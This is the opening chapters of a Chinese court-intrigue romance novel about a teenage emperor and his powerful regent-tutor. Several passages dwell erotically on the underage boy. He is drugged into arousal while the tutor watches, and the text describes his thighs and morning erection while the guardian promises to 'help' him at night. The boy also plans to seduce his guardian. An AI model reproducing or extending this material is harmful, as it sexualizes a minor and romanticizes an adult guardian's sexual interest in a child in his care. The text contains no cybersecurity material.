《帝师的教谕》
1. 第一章
微风轻抚窗棂,檐下的金铃随着风吹发出清脆的声响,前一阵子金色的琉璃瓦还在阳光的照耀下熠熠生辉,转眼间天就阴了下来,滴滴答答的雨滴打在瓦片上。
木窗露着一条缝,窗外随风飘摇的嫩色柳枝一洗如新,沈衡坐在榻上凝神望着手中的奏章,高大的身影端庄笔直,不远处的三足莲花香炉里,皇帝独用的一两千金佳楠香缓缓升起,柔和清雅。他即使身坐帝王内室也没有半分不自在,像是早已习以为常。
外面的水汽氤氲蒸腾,透过窗子渗透进来,弥漫了些植物的清香。
外室服侍的宫人都被屏退,内殿安静肃穆,只听见雨滴在屋檐的声音和奏折翻动声,渐渐雨势增大,狂风骤起,伏在沈衡膝上的人微微动了动头,似是被雨声吵嚷了安眠。
白色的衣衫飘逸灵动轻盈如雾,层层叠叠如一朵绽开的十瓣莲花,上面的金线暗纹如浮光跃金,在光影里明暗变换深浅,边缘的一圈墨色衬得人越发白皙,零落绣了别致纹样的宽大衣袖压在宋南卿侧脸下,未束起来的青丝如瀑倾泻而落,半遮掩住面孔,散开铺在了沈衡腿上,发梢柔顺散落在榻前,也盖住了潮红一片睫毛湿润的面容。
外面的垂丝海棠沾染了雨滴垂下头来,香气盈盈的内殿里,少年帝王散着头发侧卧在沈衡膝上,把外面传闻中功高震主不苟言笑的帝师当成了天然的枕头用。在华丽衣袍的掩盖下,他的身体不自觉颤抖,嘴中发出了几声模糊不清的呓语,难耐又透着冷意,也像被春雨打湿了一般带着潮意。
“嗯…哼嗯…”清亮的少年音此刻多了几分暧昧不清,轻轻柔柔的声音虽然很小,但像小勾子一样在人心底勾起涟漪。沈衡眼色微沉,放下手里的奏折,用修长如玉的手指撩开一缕长发,把宋南卿被发丝遮住的脸露了出来,他睡的不太安稳,似有难耐挣扎的意味。
玉雪一般白皙无暇的脸只有巴掌大,即使只是单单一个侧脸也看得出秾丽绝艳的风姿,卷翘的睫毛很长也很浓密,轻轻扫过沈衡手心时带来令人心颤的痒意,眼尾微微上挑像是某种名贵品种的异国猫,也许是因为情动,整个人散发着一种浓艳靡丽的香艳气息,霞映澄塘般明艳照人。
雷声闷闷一响,震的地都在颤。
他颤抖的频率逐渐增快,红唇微张溢出无意识的喘息低吟,眉头似蹙非蹙,一截雪白脖颈微微低垂,面颊浮现出不明显的潮红。沈衡坐的很直,一副无欲超脱的样子,一如玄色外袍上绣的白鹤,只有头低着望向宋南卿,似是打量似是欣赏,眼神从对方轻咬的唇再到紧闭的眼,最后移向抖动不止的衣摆。
少年天子浑身抖动起来,嘴里发出了半是难受半是愉悦的细碎声音,修长的脖子反仰起来,脸颊在男人膝上难耐蹭动,青丝滑落一派绮丽,身体一抽一抽地似要弹起,就在他晃着头发似要沉入梦魇中的时候,一只大手握住了圆润清瘦的膝头朝一侧分开,睡梦中的小皇帝流下了心痒难耐的泪水,无力地在身旁人的衣袖上抓挠了两下。
“陛下,该醒了。”
端正坐立的帝师声音一派从容,清冷入耳,在少年帝王的呜咽声中更显得遗世独立。
温热的手指拭去宋南卿眼尾的泪水,拂过鬓边青丝捋好。外面下雨天气湿冷,手底下的脸肉如一块温玉般触手生热,只是指尖触碰一下,像是要陷进这块温香软玉中去。
“唔…”睡梦中的人睫毛颤了颤睁开双眼,眼尾泛红,抬起一双还未清醒的潮湿睡眼望向沈衡,他觉得全身燥热,下雨的天空气仿佛都凝固了,身子湿漉漉的,黏腻又燥得慌,头脑也像蒙了一层雾般不甚清楚。
他抬起头看向窗外,撑着身体从沈衡腿上起来,扶住脑袋晃了晃头问:“先生怎么在这里?”
白色的月影纱外袍从肩头滑落,掉在了臂弯上,宋南卿反手勾住披好,腰肢纤细有着独属于少年人的曲线,他的脑中闪过几个模糊的画面,身体一软又靠在了人肩膀上,却听见沈衡说:
“我如果不在这里,此刻你枕着的就是未来贵妃了。”
宋南卿攥住衣袖,猛地仰头看他,氤氲水雾的眼眸骤然清明起来。
不对劲的身子,意识模糊前那个穿着清凉来到他榻前的侍女……宋南卿低头拉开外袍,发现里面依然穿的一丝不苟,他轻轻松了一口气,又缓慢抬眼打量起沈衡来。
抬起的明明是极其冶艳瑰丽的一张脸,微微上挑的眼尾有着猫一样的媚,但身处高位给他增添了不可侵犯的高傲姿态,这样绝色的容姿要是放在平常人家里,不知几岁早就被拐了去开了荤,因他是皇帝,敢正眼瞧他的人一只手就数的过来,更加上沈衡自他小时就看他看的紧,已经快要成年的岁数了,还是有着未沾染情致的清纯天真。
如果不是被下了药,怎么会有今天这种如同艳熟海棠开到糜烂的样子。
酥痒奇异的感觉还没消散,他别别扭扭地并着腿,手指搅动着宽大的衣袖,一方面后怕一方面后悔,有关那个侍女是谁派来的猜想,一个又一个浮现脑海中。
宋南卿抿了抿唇,道:“那个侍女……”
“说仰慕陛下,拼死也想伺候一场,根本不知下药之事。”沈衡像是知道他要问什么,“在慎刑司挨了两柱香,依然没改变说辞。”
什么时候起,饮食里能毫无察觉就被下了不知名的东西,还有随便进他寝宫的侍女。或者说他们一直都能,只是临近自己成年,连演都不演了。
“你信吗?”
情绪一起,体内药性又发作,宋南卿的尾音带上了轻颤和湿意,明明是生气发怒的一句话,却愣生生带上了娇嗔的意味,靠在人身上细细抖动。
沈衡见状,轻轻拍了拍手。内侍无声走到了帘子外,低垂着头说:“陛下,您的药好了。”
宋南卿微抬起手,端着托盘的宫人垂眼来到跟前,把白瓷碗搁置在了榻几上。
沈衡垂眼看着案上的奏折。
宋南卿偷看了他一眼,伸出食指抵住那个药碗向旁边推,不满地扯了扯帝师大人的袖子。
“先生都不心疼我,还要让我喝苦药。”
沈衡抬眼注视着他,“心疼你,但作为我的学生,被这等下等伎俩陷害得手,我觉得陛下该好好反思自己。”
看着那个药碗的移动轨迹,沈衡微抬下颌道:“把药喝了。”
少年的脸颊上还有未完全褪去的婴儿肥,此时鼓了鼓,身体前倾趴在榻几上说:“我不喝!一看就很苦。本就没有先生聪明,如今那么难受你还要凶我,难受死我算了!”
宋南卿趴在桌子上冲人撒娇,玉白的手指勾住了沈衡的手摇晃,把脸贴在了人手心蹭弄,眼神带着依赖,鼻息扑在手心带来热气和痒意,他半眯着眼睛脸颊又红了起来,喘息加重药性上涌,干燥的嘴唇擦着沈衡的掌心而过,身上散发出的甜美韵味,第一次让沈衡意识到,这个他一直看着成长的小孩子,好像真的长大了。
蠢蠢欲动的手指推着瓷碗往边缘推,就在他要佯装不小心推下去摔碎的时候,一道声音制止了他。
“卿卿。”暗含威胁的声音又带着丝丝无奈。
沈衡拢住碗搁置在了面前,拿起勺子说
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:“别胡闹。”
褐色的药汁被盛在勺子里,喂到了宋南卿嘴边,少年不情不愿张嘴往下咽,脸皱成一团往后躲,最后被捏住下颌全喂了进去。
“咳咳……谋杀!你这是谋杀圣上!”宋南卿吐着舌头苦的直皱眉,面若桃花连眼睛都湿润起来,雾蒙蒙的委屈至极。
口腔里弥漫着苦涩的滋味,一截红舌吐在外面鲜艳又勾人,这时一颗蜜饯被塞进了他的嘴里,瞬间解了千种苦涩。
“唔…盐津梅子,还是梅坡斋的。”宋南卿含着蜜饯尝出了独特的滋味,睫毛还湿着又露出笑容来,他瞥见沈衡正把荷包收起,于是快速抱住了对方的胳膊。
“你专门买的?这个可要很早去排队,我让春见去买了好几次都没买到。”
沈衡只是微微颔首,少年抱着他的胳膊晃,不住地磨人要他再给自己吃一颗,小皇帝从小什么山珍海味没尝过,他只是借个由头好跟人亲近罢了。
今日到底是何人下药还未知晓,但前朝宫里,没有一个是想看他安安稳稳当皇帝的,摄政王这条大腿他抱了那么多年,能抱稳的唯一诀窍是:无害。要幼稚,要善于依赖,要聪明但不能太聪明,要离开沈衡他就什么都做不成,唯有如此他才能在众多想把他拆吃入腹的豺狼虎豹中获得一个保护伞。
当然,沈衡也不是什么安全的保护伞,古往今来有哪个权臣拥立幼主上位,是真的想从头培养一个明君呢,不过都是为了揽权而已。
宋南卿敛了敛神,又恢复了一个十几岁少年该有的天真烂漫姿态,或者说,是沈衡最放心的姿态。好像一颗好吃的梅子就能让他把一切忘掉。
沈衡的目光从吞吐梅子的那截红色的舌尖上划过,快速移开视线,君子端的是非礼勿视。他姿态挺拔端起桌上的茶啜饮,动作缓慢又赏心悦目。
宋南卿见他竟然丝毫没有被打动,反而看向别处。朝他的目光方向看去,是刚刚端药来的内侍,竟然放下药到现在还未离开。
望着那名宫人和沈衡手中的茶,宋南卿目光一闪,轻轻扬起唇说:“你长那么好看在朕身边伺候,你说摄政王是应该看奏折,还是该看你。”
宫人闻言连忙跪地,噤声颤抖不敢抬头。
沈衡连一眼都欠奉,坐在榻上随意道:“不喜欢?让他走便是。”
因为这简单的一来一回两句话,皇帝宫里的宫人换了一批伺候,人员锐减,能接近皇帝身边饮食起居的人寥寥无几,毕竟符合小皇帝口中又不能太好看又不能太难看标准的,只有宋南卿一人说了算。
宫中人道皇帝过分看重摄政王,二人私情甚笃,不过这都是后话了。
听到这道命令下下去,沈衡轻笑:“这不是挺聪明的。”
宋南卿垂眸,转过头背对着他。
他当然也不能是个完全的蠢货,不然一个蠢皇帝,不懂怎么给沈衡想要的,不能给他养成的乐趣,也是个废物。
再转过身,宋南卿眼中饱含孺慕之情,语气真诚像是未曾含一丝作假说:“我只想让先生看着我。”
没给沈衡反应的机会,他接着问了一句:“舅舅来了道请安折子,你看了没有。”
“中宫无后,还是那套说辞。”沈衡把手边的奏折往旁边一推,似是没把这位帝舅兼内阁首辅放在眼里。
在不断上升的楠木香旁,宋南卿的目光从那堆散开倒塌的奏折上掠过,声音微凉:“舅舅有些太着急了。”
话锋一转,他托着下巴勾住沈衡的袖子,水润的眼睛看着人说:“吃了药也还是难受,怎么办。”
2. 第二章
滴滴答答下了一夜的雨,第二日天气放晴,天空万里无云,晨光熹微,光亮一点点扩大照射范围,给宫殿的木门一角镀上了一层金边,垂丝海棠沾了雨后开得更娇艳了。
端着铜盆和洗漱用品的宫人站在殿前门外等候,安静的只能听见远处的鸟叫和风声。
绣了祥云的帷幕垂在床前,影影绰绰可以看见床上的人影,紫檀木的龙床上雕刻着金龙出云的花样,不远处多宝阁上陈列着插了粉白花朵的瓷瓶,点点花瓣掉落在下面铺开。
宋南卿“哼” 了一声转过头,丝毫不理从宫人那里接过衣服来的沈衡。
昨日贺勇将军大胜沿海倭寇班师回朝,宋南卿以摄政王在宴席饮酒微醺,回府不便之由将他留在了宫里。沈衡在宫中有惯常住的居所,离乾清宫不远,不过最终睡在哪张床上,就无人知晓了。
一开始是因为皇帝年幼,需要人照顾,他依赖沈衡十分怕独眠遇害,毕竟主少国疑,他这个皇帝当的是如履薄冰,那时谁都在盯着皇位蠢蠢欲动,没有人觉得宋南卿这个皇帝位子能端坐多久,不过是看沈衡什么时候想取而代之罢了。
沈衡掀开被子一角,直接上手去解他的寝衣,神若如常道:“又发什么脾气,这次的朝服可是按照你心意做的。”
不远处挂在架子上的红色纱袍如雾般倾泻而下,并在领缘、袖口拼接上了黑色的缘边。领口上搭配了垂白罗的方心曲领,金玉带挂在一旁,端庄又华贵无比。
最近宋南卿长得快,寝衣有些短,盖不住大腿根,等到扣子解到最下面一颗的时候,腿间的异样暴露出来,宋南卿轻轻扯动了一下衣摆,黛色的眉毛微皱,生闷气道:“不舒服,都怪你。”
少年嘴角下撇,美人生气都像是含情一般瞪着他,莹玉般的大腿轻微夹紧,沈衡的手撩起衣摆看了一眼,了然。
床前的帷幕本来半撩起,此刻又全放下来了。
两节雪白的大腿露在外面,嫩生生的格外晃眼,寝衣朝两边拨开,立在中间的东西难以忽略。
宋南卿别别扭扭说:“谁让你昨夜不帮我,我就说那个药根本就没有用,现在还是这样,我是不是以后好不了了。”
洁白的寝衣衬得他嘴唇红润,微微撅起的唇瓣饱满多肉,委屈的表情让他做起来也有种娇纵意味,他抬脚蹬在沈衡的膝盖上,瞪着眼无声谴责对方,仿佛这全都是沈衡的错处。
床幔围绕下只能浅浅看到里面人的轮廓,听不清说了什么。绣着精致纹路的锦被中,宋南卿一个劲往沈衡身上蹭,很快被一只大手握住了腿制止动作。
力量十足的手指几乎要陷进凝脂般白嫩的腿肉里,在宋南卿大腿内侧留下了淡淡的红色指痕。
“疼——”他扁着嘴委屈地喊,把一分痛喊成了十分,伸手去掰开沈衡的禁锢,一边小声抱怨:“你们打过仗的人是不是都喜欢使用暴力啊。”
“还有谁?”沈衡问,并没有否认。
宋南卿鼓着脸说:“西洲啊,昨天在御花园抓鱼,他差点把鱼给弄死了。”
沈衡的眼神明暗不定。
宋南卿知道,他不喜欢自己和贺西洲太亲近,镇远侯世子,目前军中不可多得的将帅之才,被许多人赞有摄政王沈衡年轻时的风姿,昨日设宴赞赏的打败倭寇的贺勇将军就是他父亲,战事中他随父出征,也发挥了不小作用。
看着腿上的指痕,宋南卿低头轻轻附在沈衡耳边说了几句话,耳根微红。
“陛下,可以对先生提这种要求吗?”沈衡已经穿戴整齐,听了这话手指收紧,腕上的绿檀佛珠随着动作滑落,触碰到了宋南卿莹润的大腿。
听出了他语气中暗含的责问,宋南卿摇摇头见好就收,垂下的睫毛扇动,像是犯错的小孩。
空气安静了一瞬,沈衡放缓了声音道:“你长大了,晨起这般也正常,不是药物缘故。”
沈衡意识到他一手教养长大的孩子好像真的在这方面疏忽了,轻轻叹了口气:“要上朝,如果实在难受,念清心咒。”
宋南卿还是把头转向旁边,沈衡倾身过去,见他还是一副不理人的样子,把手腕上的佛珠摘下来握在手里,用冰凉的珠串在他脸颊上刮了刮,哄着人道:“好了,晚上有时间帮你,嗯?”
得到这句话,宋南卿的脸上总算冰雪初融了,他抢过人手中的佛珠绕到了自己腕上,压平上扬的嘴角:“这可是你说的。”
衣角被沈衡拂开,在中裤上身之时,他不免被宋南卿腿根处那个嫣红的胎记吸引,如同花朵展开的形状,印在腿根,一张腿就看得见。这是胎记,也是印在他身上的诅咒。
宋南卿出生时王朝飘摇正在打仗,当朝皇帝亲征斩下敌人首级,那人头都被砍下来了,还能吐出一口热血溅了皇帝一脸,临死前怒目圆睁诅咒皇帝:说来世一定化作厉鬼让大盛王朝不得安宁。
当时的贾贵妃诞下皇子,军心大振,但无人知晓老皇帝看了婴儿腿间那个胎记之后露出的憎恶表情。那朵艳红的花,和当时喷溅在他脸上今生都忘却不了的血迹形状,如出一辙。因着军情民心只说小皇子身体不好,放在一旁养就是了,连对贾贵妃都慢慢疏远了。
宋南卿在与冷宫无异的地方长到六岁,尝遍人情冷暖也不得不性情圆滑,直到皇帝驾崩,那位被封为摄政王的年少将军沈衡带人马将皇宫围得跟铁桶一般,剩下的就像梦中情景了。
不过那些记忆过去太久,只能捕捉到残影,但关于自己的身体之事,他一直都隐隐约约知道,这个胎记不是什么好东西,母亲生前每每提起,都一副愧疚无奈的样子。
宋南卿接过他手中的中裤自己穿上,把那朵花掩盖在衣物之下,但上面散乱的带子他实在是束手无策,伸直了腿冲着沈衡,膝盖上下轻晃。
“不会系。”他理直气壮吩咐沈衡。
修长灵活的手指绕过一条条系带,慢悠悠固定在他的腿上,帝师大人连替人穿衣服都神色正经认真,像是在研究什么学问。
“自己穿过几次衣裳,四体不勤。”沈衡把中裤系好,看了一眼懒散困倦东倒西歪的小皇帝道,抬手一扯拉开了床幔。
宋南卿一边在宫人的服侍下洗漱穿外衣,一边对沈衡说:“朕没有五谷不分已经很好了!”
清晨的丝丝阳光透过花窗照进来,少年细腻光滑的脸经太阳一照,连小绒毛都看得见,顺滑的乌发披在背后,经发梳理过,如同最上好的绸缎,一看就是从头到脚都被养的很好的模样。
在做皇帝之前,他当然不是这个样子,别说穿衣,就是缝衣他也做过,如果不识五谷,他又怎么在御膳房不送餐食的时候,和母亲一起活下来呢。沈衡也见过他那个样子,只是现在,他们都默契地不再提起。
朝冠戴好,宋南卿在即将推门而出之时,听见沈衡说:“离贺家远点,你以为贾良为何在昨日突然按捺不住。”
脚下一顿,宋南卿跨过门槛,朝太阳升起的方向大步往前。
————
宣政殿内,八根鎏金盘龙柱直伸到房梁顶,一阶一阶的金色阶梯之上,宋南卿穿着正式的朝服坐在宽大的龙椅上,头上戴着卷云冠,如瀑的长发束起,端坐垂眸居高临下,接受众人跪拜之时,散发出了淡淡的威仪。
底下百官分排站立,沈衡穿着御赐蟒袍站在最前端,在他旁边的就是年过五十依然精神抖擞的内阁
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首辅,贾良。
“陛下,贺大将军胜仗归来,还俘虏了倭人首领,解决东南倭寇扰乱我朝子民之事,实在是功德一件,臣以为应好好嘉奖。”贾良拱手上前一步率先发言。
宋南卿不言,手指拨弄着佛珠。
这时御史王潜用带有不认同的语气说:“贺将军俘虏倭人首领实属功德,但臣听说俘虏的手段实是…不从礼法、德行有亏。如嘉奖贺将军,岂非认同这种行为,臣以为不可。”
宋南卿来了兴趣,越过青铜兽首香炉望向王御史问:“哦?俘虏手段怎么德行有亏了,说来与朕听听。”
龙椅上的少年帝王似是对朝政无心,却对八卦感兴趣,王御史与贾良对视一眼,道:“臣听闻,贺将军带领部下将那倭人首领的妻子抓去以为要挟,为了妻子不受折辱,敌方才投降。那倭人首领是有情有义之辈,在东南之地这二人情比金坚之事已成佳话。反倒是贺将军如此作战手段,以此事要挟实在不是君子所为,臣以为不宜大肆嘉奖。”
“臣是个粗人,战场作战只管输赢不论与敌方情谊,贺勇只图报效朝廷不求任何嘉奖。”贺勇目光清正,语气严肃,也没有为自己辩解。
兵部侍郎进言道:“陛下,臣研究过那倭人首领的作风,在行军打仗和作战谋划上,有勇有谋,如今他率部众投降,或许可以为我所用。”
堂下有人持反对之言:“兵部如今是招不到兵了还是买不到马了,这等投降屈膝的小人,决不可为我所用,二心之臣终是隐患。”
你一言我一语争吵不休,宋南卿拨着佛珠念了几句清心咒还是烦躁,换了个姿势托住下巴说:“舅舅怎么看?”
贾良道:“贺大将军战功赫赫须得嘉奖,只是百姓流言也不能不重视,封赏太过也不相宜。况且户部亏空,在军事支出一项上已经负债良多,如果能启用降将及其亲部,未尝不是一件好事。”
“京口下游是阻挡南边敌人侵犯的重要关口,缺人镇守,蛮荒之地,且现在此地百姓因为贺将军作战手段不妥一事,有了流言,只靠贺大人一人难以顾全局面。是安置倭人的好去处。”兵部侍郎道。
贺勇想总领京口下游已经良久,那是他祖籍所在,一旦镇守,东边粮草丰盈皆可容易为他所用,这次胜仗归来就是想请皇帝赏他这个权力,没想到请功之言还未说出口,就被这殿上几句话间翻转了形式,再想请赏已是没那么容易。
宋南卿知晓贺勇是武人,论唇舌根本说不过这些人,对他说:“争夺之时以策略为先,定分之后以忠义为首。这次打胜仗缴回许多财物,一些入国库,一些在户部账上吧?”
掌管户部的贾良点头称是。
“这样,让贺将军先挑,朕记得有柄精工方戬,很适合西洲。”宋南卿用宽慰的表情看向贺勇,“之前听说宫里禁军练出来新的作战方案,西洲一向感兴趣,最近太平,有时间让他跟着去看看。”
贺勇双膝跪地,沉声说:“谢陛下。”
“剩下的事,亚父看着办吧,退朝。”宋南卿揉了揉太阳穴,得到沈衡的颔首之后,迈着不轻不重的步子离开了宣政殿。
一边往外走,宋南卿身后还跟了一大堆人,他眉头微皱像是在思考什么不得了的大事,后面替他举华盖的、抬轿子的、前面引路的都因为皇帝皱眉而小心谨慎起来。这是在朝堂上有什么事不顺心了?哪位大人敢惹了陛下忧心,内侍交换眼神面面相觑。
他突然停住脚步,对离他最近的人吩咐道:“春见,你去宫外替朕寻些话本子来,要最流行的那种爱情话本。”
让最英勇善战的首领都能投降,他到要看看这个爱情是不是真的有那么神奇。
3. 第三章
暖阁内窗开了一条缝隙,微风轻拂,吹的窗边花枝微颤。木头菱格交替排列,阳光透过白色窗纸淡淡照进屋里,紫檀书桌前坐着两人,左边那人盘腿而坐,一手将书卷翻页,一手捻起一块牛乳糖糕放入嘴里,眼睛弯起来嚼着糖糕,露出满足的表情。
乳白色的糕点碎屑沾到嘴角,宋南卿伸舌头舔过,在又翻过一页时,一张奏折压到了他的书上。沈衡凑近道:“看看这个。”
宋南卿连忙把剩下的半块牛乳糕塞进嘴里,腮帮子鼓起,一边努力嚼着一边低头看折子。
是御史台副御史递上来的一张弹劾奏折,上面字字恳切讽刺性十足,说内阁首辅贾良之子贾士凯品行低下性格顽劣,为青楼女子和人大打出手,中伤多人出言不逊,贾良教子不严应反省自身,近来独揽大权汲汲钻营,恐以后危及朝廷云云。
沈衡看他两颊鼓鼓吃东西的模样,从袖子里抽出张帕子,在他嘴角擦了擦糕点碎屑,说:“慢点吃,不急。”
宋南卿朝他摊开手,“唔唔”了两声,一杯茶被送到了他嘴边,饮了两口才算能正常说话。
他喝了几口推开茶杯,皱起眉说:“太苦了。”
沈衡低头一看,才发觉刚才关注心切,递错了杯子,给宋南卿喝的是自己的茶,杯口重合的是二人喝过的茶水痕迹。
“这个副御史说的话倒是比御史王潜动听一些,怎么以前没见他露过面。”宋南卿已经咽下那口苦茶,对奏折上的内容发问。
沈衡把杯子移开,放在了一旁,袖口墨色的花纹像是杯中被水泡开舒展的茶花。
“听说王潜最近置了一处别院,可能忙着修葺,没心思管御史台的事吧。”
宋南卿轻笑一声,“想来也是,他要是在,这折子怎么也递不到你手里。”似是想起了什么,他接着说:
“前几日在朝上,王潜和舅舅一唱一和,白脸红脸演了个酣畅淋漓,我竟不知道,满朝文武什么时候起都和贾良长了一条舌头。”
沈衡淡淡道:“利益相关,休戚与共。”折子被拿了回去。
宋南卿重复了一遍这八个字,眼睛重新看向桌上的书,书中正好也写到这一处。驸马爷使得公主对自己一见倾心下嫁与他,二人经历重重磨难终于夫妻一心,由于已是利益一体,公主不得不把许多资源拱手让与驸马,最终江山竟然改姓。这个从山村里摸爬滚打成长的穷小子,通过使公主倾心于自己,官至丞相最终成长为一代帝王。
看到这里,宋南卿眼睛都直了,阵阵发愣,不敢相信这话本子竟真是这种走向。把书翻到第一页,书名赫然写着——《重生之我靠赘公主走上九五至尊》。
…………
宋南卿面露难色,觉得这本不如他昨天看的那本《一炷香教你御男十术》,至少那本真的具有实操意义。
他撇撇嘴,从后方堆的一摞书中抽出一册新的,放置在案上。
深蓝色的书册,封面上是两个大字——《大学》。
翻开封面,又是一个新的封面,书名是《侯爷追妻:侯门少夫人九十九次出逃》,宋南卿眼睛一亮,迫不及待翻开书,刚看第一章就被吸引住了全部心神。
【“夜玄殇,你以为拥有了我的身子就拥有了我吗?我告诉你,不可能!”沈雪柔的眼角滑落一滴清泪,倔强地扬起小脸,“我已经有你大哥的孩子了,就算你使诡计让他去往战场,我生是他的人,死是他的鬼,我是不会嫁给你的!”
夜玄殇邪魅一笑,揽住她的肩膀语气强硬:“怎么,不嫁给我你还想嫁给他?你们沈府如果没我支撑,信不信明日圣上一道指令下来,就被满门抄斩,嫁给我或者死,你选一个吧!” 】
宋南卿眉头一皱。
怎么又有皇帝的事,皇帝是你想命令下旨满门抄斩就满门抄斩的吗?皇帝是一个小驸马想取而代之就取而代之的吗?这些写话本子的到底怎么回事啊,而且怎么会有人叫夜玄殇这种名字,按八字来讲能活到而立之年吗?
他手指往后使劲翻了几页,一入眼就是不得了的画面:
【沈雪柔又紧张又后悔,抱着怀里满身是血的男人,不住地亲吻他冰凉的嘴唇,颤声道:“我错了,夜玄殇,一切都是我的错,只要你能醒过来,我明日就嫁给你,求求你醒过来。”
直到这一刻,沈雪柔才意识到,什么家族仇恨,什么权力算计,都不过是过眼云烟,她只想让面前这个男人醒过来,像第一次见那样,笑得灿烂又无惧。
“为什么,为什么不早告诉我,早点告诉我我们也不至于走到今天这一步,夜玄殇,我恨你。”沈雪柔嘴角也流出了一道鲜血,声音逐渐微弱,“我恨你,我也爱你。”】
宋南卿手指颤抖,被一种又尴尬无助又忍不住想继续看下去的感觉驱使,他们到底发生了什么,怎么剧情就到这一步了呢?而且恨你和爱你是能在同一个人身上同时发生的吗?这几天看了那么多话本子,他好像还是不懂,爱究竟是什么。
“在看什么?”一道平静的声音传来,沈衡端着一杯茉莉蜜茶来到宋南卿身旁,袖摆扫过案几,他身上檀木的香气很淡,但令人难以忽视,闻起来是平心静气的味道。
宋南卿一个激灵,猛地把手中的书合上,讪讪道:“没…没什么,随便看看。”
沈衡眼睛微眯,拎起书的一角,另一角被宋南卿连忙拽在手里,他双手攥紧书角,伸直了胳膊用力摇摇头,大大的眼睛里充满请求,鬓边发丝随着动作撩动侧脸,一看就是心虚的模样。
“不能给我看?”沈衡没有用多少力,他今天穿了一袭墨袍,衬得人严肃锋利,几年前的沈衡还是个能止小儿夜啼的杀神存在,靠大义灭亲屠杀草原王赢得皇帝青睐。也就是几年不上战场,一副文人模样让人忽略了他的本性。大盛长公主和草原王的血脉,当他严肃起来时,再俊朗的面容也不能缓解那一身的压迫感。
本来宋南卿没那么紧张,可是今日这本真的不行,内容太超过了,如果被沈衡看到会怎么想自己啊!他抓着书角不松手,抿起嘴露出求饶撒娇的表情,长长的睫毛快速扇动,企图被放过。
“不行,真的不行…”宋南卿屈膝坐在软席上,被沈衡单手几乎拖着移动了一段距离。
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见他这样,沈衡也不再坚持,挑起一边眉毛眼神暗暗,声音却很温柔:“卿卿有秘密,还是我不能知道的。”
语气意味深长,让宋南卿止不住发起抖来,他十分清楚沈衡生气是什么表现,虽然这种情况并不常见,但后果不是他能承受的。
给沈衡看了只是丢人,不给他看,万一沈衡以为自己有什么秘密想要逃离他的管控之下,那可就要完了。
“不是……”宋南卿忙抓住沈衡的衣袖,一副破罐子破摔的样子:“好了!给你看给你看!”
当沈衡看见面前这本大学的时候,面露疑惑,当他翻开封面一看到封面二的时候,单侧眉毛微挑,饶有兴味地看了宋南卿一眼。
皇帝陛下本人捂着脸在旁边坐立难安,从指缝中隐约可见红透的面庞。
当沈衡粗略翻完这本书,宋南卿已经在旁边快要升天了,他趴在桌上把脸埋起来一动不动。
“原来卿卿喜欢看这种?”沈衡静了半天才道。
宋南卿猛地抬头反驳:“我不是喜欢!我没有!”发现沈衡仍然是一副好整以暇的表情,他扑到人腿上把书夺走,扔出去很远,胳膊撑在对方膝盖上捂住脸,耳根红透。
沈衡摸了摸他的头,道:“怎么想起看这种东西了,情爱对帝王来说是最无用的。”
宋南卿不说话,心里想那是对一般帝王来说的,他可不是那种坐拥天下万人之上的那种皇帝,而是驸马就能取而代之……随便一人就能命他下令满门抄斩的,那种小皇帝。
一介泥腿子穷小子靠公主的情爱能坐上皇帝宝座,凶狠残忍杀人越货的倭人首领能为情爱甘心被俘,那么他能否……利用情爱。
沈衡见他不说话,手指插入顺滑的发丝让人微微仰头,注视着宋南卿道:“陛下是有喜欢的人了?”
宋南卿正陷入自己的思索中,突然听到对方问了那么一句,表情有些茫然发愣,一时不知作何反应。但在沈衡看来,这就是心事被戳中后的窘迫。
“有什么是不能告诉我的?”沈衡撩动他的发尾,语气淡然,“我不喜欢你有瞒着我的事。”
这个年纪情窦初开实属常事,但在他的手下,除了那日疏漏的侍女,还没有人能把什么能引起宋南卿关注的人送进来,不是女人,会是谁?宋南卿为宽慰贺勇嘉奖的贺西洲?他们年纪相仿,确实能玩到一起去……沈衡想起宋南卿跟他称赞对方抓鱼厉害、身手矫健种种。杯子里的水由于外界力道变大,开始摇起波纹。
宋南卿眼睛转了转,昨日看的那本《御男十术》中讲,面对男人“到底喜欢谁”的发问,不能挑明说清,又不能不给对方幻想空间,最优解是……
日光澄然,少年半披着发跪坐在紫檀书桌前,旁侧置物架上的琉璃花樽折射出五彩的光芒,映衬在他的脸上,他往前挪了几步抱住沈衡的胳膊轻晃,柔软的手指轻轻点在人宽大的手心,水光潋滟的眼睛一点点上抬,直直注视着人,脸扬起的弧度是昨日按照书上说法精心设计过的,声音带着三分娇气三分无奈还有一丝怯懦,唇珠微翘道:
“先生知道的…”
4. 第四章
“我该知道什么?”
面对眼前这张软玉般精致的脸庞,沈衡似乎没有被软化一丝。仍然端坐案几前,袖口平整衣摆不乱,垂眼看人时没有被宋南卿那双盈盈的眼睛迷惑,还有空趁着间隙在下张奏折空白处写下朱批。
宋南卿抿嘴,一边暗骂他不按话本上教的对话来,一边用手指绕着沈衡的指根画圈,哼哼唧唧企图耍赖。温热的大手有很强的包裹感,沈衡一手拿毛笔在折子上写字,另一只手笼罩住作乱的手指。
小皇帝坐在软垫前,勾着摄政王的手指在心里跟自己较劲。
不是说这招式是绝杀吗?不是说配上貌美的脸杀伤力翻倍吗?哪里出了问题。
沈衡写完最后一个字,分了些眼神望向宋南卿道:“回答呢?”
侧边的屏风上绣着零落飘起的梅花花瓣,墨梅枝干曲折,枝头的梅花露出小小的尖,含苞待放。
不说话在沈衡这里绝对不是解决问题的方法。
宋南卿往人脸上瞟了一眼,张开手臂抱住眼前人的脖子,把自己埋在男人肩膀上软着声音说:“我还小呢,哪里懂什么喜欢不喜欢的,卿卿最喜欢先生了。”
“哎呀批了好些折子,朕乏了要午睡了。”他抱住人往后摇晃。
沈衡轻轻摇头,一手搂住他的腰把人抱起。小时候这样抱没什么不妥只是亲昵,只是少年身量已高,再这样挂在人身上多了几分轻佻暧昧之感,只是二人都不在意,在旁伺候的下人就更无法对这个王朝最尊贵的两个人提醒什么了。
床头的鎏金花瓶透过床幔看,影影绰绰。隔着一层纱,沈衡站在床边静静看着安睡的宋南卿。少年这阵子长了不少,偶尔会有生长痛,睡觉的时候不安稳,抽筋的时候需要人给他揉腿。
沈衡看了一会儿,薄纱床幔里,那张熟悉的面孔还看得出小时候的影子,甚至他的每个表情,都能在记忆里找出跟小孩时期类似的,连睡觉时嘴角闭起的弧度都没有发生变化。
宋南卿伸手抓了抓额头挠痒,细细的手腕上挂着那串稍显宽大的绿檀佛珠,贴在离脉搏最近的位置。他就那么把手腕放在脸旁边,呼吸再次趋向平稳。
沈衡移开目光,也掩盖住了眼底的万千情绪。
————
